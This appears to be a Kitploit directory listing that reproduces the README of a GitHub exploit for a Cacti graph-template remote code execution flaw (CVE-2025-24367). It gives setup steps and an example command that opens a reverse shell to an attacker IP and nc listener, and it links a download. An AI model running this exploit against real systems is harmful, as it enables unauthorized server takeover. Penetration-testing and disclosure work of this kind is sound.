Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24367 — Authenticated remote code execution exploit for Cacti graph template vulnerability, with reverse shell payload and proxy support for authorized penetration testing. | Kitploit
Tools/GitHubGitHub/shoshinmaster/cve-2025-24367
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubshoshinmaster/cve-2025-24367

CVE-2025-24367

Authenticated remote code execution exploit for Cacti graph template vulnerability, with reverse shell payload and proxy support for authorized penetration testing.

View Repository
127 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24367 - Cacti Authenticated Graph Template RCE

Usage & Safety

Important — Read this first:
This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written authorization. Unauthorized access to computer systems is illegal and unethical. By using this code you agree to follow applicable laws and institutional policies.

Requirements

  • Python 3.8+
root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Usage

root@kitploit:~
python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

Example

Before running the script make sure you have a nc listener running. Run the script without proxy unless debugging:

root@kitploit:~
python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

VERY IMPORTANT WARNINGS

  • Do not run this against production systems or any system you do not own or have explicit permission to test.
  • Always obtain written authorization before performing security testing.
  • Use isolated lab environments (e.g., VMs, containers, or purpose-built test networks) for experimentation.
  • Your organization may have reporting and disclosure policies — follow them.
  • The authors accept no responsibility for misuse of this code.

Final reminder: This script and README are for educational use only. Never use these tools to access systems unlawfully.

Download Tool